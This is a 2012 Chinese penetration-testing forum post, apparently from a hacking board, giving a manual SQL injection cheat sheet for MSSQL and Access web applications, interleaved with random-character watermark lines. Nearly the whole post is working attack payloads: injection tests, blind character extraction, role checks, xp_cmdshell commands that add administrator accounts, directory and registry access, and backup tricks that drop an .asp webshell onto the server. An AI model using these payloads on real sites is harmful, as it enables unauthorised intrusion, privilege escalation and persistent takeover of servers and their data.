中国网络渗透测试联盟
标题:
手工脚本注入
[打印本页]
作者:
admin
时间:
2012-9-15 14:48
标题:
手工脚本注入
手工脚本注入
f4 K5 c I+ y/ S
1.判断是否有注入;and 1=1 ;and 1=2
& P f3 q/ c6 _$ i- X) K6 E
. L6 R6 i% m X: }. ]
2.初步判断是否是mssql ;and user>0
5 f/ {* J& M" {1 o. a5 f
0 T, \- b3 a5 R
3.注入参数是字符'and [查询条件] and ''='
( j' o# H8 U, i, ]
9 ?! D ^! q+ A% c2 l! K
4.搜索时没过滤参数的'and [查询条件] and '%25'='
4 k3 t2 M' f5 ]" G$ d
3 r- d3 m, ?2 O$ [( A: G5 A
5.判断数据库系统
6 ^# n% _' P) C' v
;and (select count(*) from sysobjects)>0 mssql
. m8 U5 \( b5 u
;and (select count(*) from msysobjects)>0 access
: K. Q2 V4 n- y( {! ]7 l" L
4 O+ Q: o( ]6 z8 Z
6.猜数据库 ;and (select Count(*) from [数据库名])>0
0 d) [" `* c" T. H
" Q3 I; ]- J# R7 }; ~. \
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
% O7 l3 |/ _7 T, H% @! n; t0 m
. t& F7 u( n0 r
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
- a% |& y* [! T# o( O. Q
! }! b/ x6 u4 F( [( t/ ~' X$ Q
9.(1)猜字段的ascii值(access)
+ b# T+ v# B7 u! z7 h
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
5 H9 Y F! {3 `9 X) m7 C% J
4 g! c" C* a: m/ S2 p" Q3 [- T T: p
(2)猜字段的ascii值(mssql)
# m) m* u3 L' N3 c
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
9 {, y. W# `. ~$ _- V
5 d1 Z2 h% s0 g7 ?
10.测试权限结构(mssql)
( ]/ G2 p9 T7 K+ o4 A u& {! x2 n
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
; z7 F9 X7 e/ {; _
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
$ ~$ g4 Z- O8 ^1 Y! I6 T3 \# A
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
2 s( @# e6 y( w9 a: f9 r
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
. s7 D1 I5 K! I. ]4 R3 Z% i, Z0 y
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
4 h! A2 f9 K7 q2 J+ l: u5 f0 g
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
! ]( |6 x2 H4 a, c- _' u
;and 1=(select IS_MEMBER('db_owner'));--
/ j2 c% a% d e" O
1 k% x/ I E7 o8 E1 T0 n! F4 a
11.添加mssql和系统的帐户
2 k! L5 M' G' p! c
;exec master.dbo.sp_addlogin username;--
r, K6 Y7 D5 F& e" x
y) F6 ^9 Z% F3 g. f
;exec master.dbo.sp_password null,username,password;--
5 ~) g3 M9 |, U- w9 f# s' T1 }/ H
3 ~; X- D! H1 ]- H
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
* C0 o% p" ]: a; ]
- B) d; v3 b- s$ A6 [& U
;exec master.dbo.xp_cmdshell 'net user username password
/ [: T0 E' c1 R' n3 E
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
! ] t$ E! F1 `/ \, d
: y \1 C( d- I9 l3 J
;exec master.dbo.xp_cmdshell 'net user username password /add';--
5 T2 N) A( b, x2 f
5 ~+ b: `* D+ v* q* c1 I$ n& y
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
+ P2 A; {4 {- o# b" U
/ T: B- w% U# o8 K0 K
12.(1)遍历目录
8 U4 c( B/ B% A. I5 @
. L5 s; B. q D+ u1 V5 P, o
;create table dirs(paths varchar(100), id int)
: A# z) x g* |. [! V/ E
;insert dirs exec master.dbo.xp_dirtree 'c:\'
3 J0 f+ V' u" @9 C/ ?+ g
;and (select top 1 paths from dirs)>0
" s6 T/ L6 @& h6 D
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
" L- m- Z+ B+ \4 @( w4 J8 w: c# G
, i, B# Y! P: c4 Q# t" K
(2)遍历目录
2 m/ w+ ]+ w- v! g
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
/ {& _8 i$ v. R* x; H7 g
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
; }4 L$ d9 s& _* v2 T
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
: p8 ~' x; D) R: y( f
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
% ]3 e. f# o. K: h& j, T {% w
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
+ {3 B, a" Z, l$ {
0 d4 _" t2 |4 N; B
13.mssql中的存储过程
, y+ G# B; K& N, D. L( i: ^. ?& h
% k2 U: } d5 R8 c; X
xp_regenumvalues 注册表根键, 子键
; J ?" K t6 I# W$ S# f
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
0 S1 f w/ m. O
" t& A, i9 Q+ f* [. X/ c' @
xp_regread 根键,子键,键值名
* A* m( K# f& O! r9 _
;exec xp_regread
7 U; \3 L' z( D! W
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
& u4 Z9 C; ?( X+ x& t5 N! s
* w6 q& {. {% ]4 h* z
xp_regwrite 根键,子键, 值名, 值类型, 值
4 E4 u0 L) h( C8 V" y
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
) r6 k1 t0 ? X. f% x5 M
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
! b' Y' M3 N: M$ g. ^5 u
x2 x) N6 Z1 _+ I% A {$ H5 G
xp_regdeletevalue 根键,子键,值名
1 B Q4 ]1 A. a1 K1 a% S5 }" o
+ b5 o: j3 \ e7 V/ \, O. N
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
0 {$ c$ _& |+ B2 X. L' {
. N8 @7 c. c0 R" ]
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
" n" _; x, W. g! d0 K- H
# G d9 G; Z3 \/ f, l1 V+ A
14.mssql的backup创建webshell
; k; L6 L9 {" P0 t9 Q
use model
) {* N3 v) ` y7 |9 c
create table cmd(str image);
+ p! s; X* ~% _6 J6 S+ d
insert into cmd(str) values ('');
; n5 Z2 a7 Y; Z* J/ V# G5 U1 |! c( j
backup database model to disk='c:\l.asp';
- `% H9 C$ h5 T5 @; [( p9 k
5 d" ^2 O& g- R9 l/ p
15.mssql内置函数
" g6 k, W; k; y1 X
;and (select @@version)>0 获得Windows的版本号
1 X' y8 ^0 j+ @3 T; a( s8 m3 t
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
: A( P9 @/ d+ N$ W* ~
;and (select user_name())>0 爆当前系统的连接用户
8 u5 X, s# v; }% Z: X \; d
;and (select db_name())>0 得到当前连接的数据库
3 j; }* N2 x% C1 F/ k' B
* N/ n7 v9 }% p$ |$ N! \# ]0 E
16.简洁的webshell
7 c ]& I/ u+ w6 I# S9 G
G1 |2 \$ u j
use model
0 ]8 s; q+ z3 E6 f* R
* T0 N( h1 v( J' S9 ?! @* K
create table cmd(str image);
2 M; U6 ~$ c/ q6 n' W. v+ w
# R6 u4 z" q3 @- b
insert into cmd(str) values ('');
- ^7 u" ^ x* j1 y# \2 D7 M
- n$ K- }6 w/ [ k; w* i1 {
backup database model to disk='g:\wwwtest\l.asp';
* Y% j& ]! D" y# }& K; C
- H& U; L; y! T. b/ L# ^2 v. y' |
作者:
老男孩
时间:
2012-9-15 16:34
现在很多防注入啊,有其他注入字符码
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2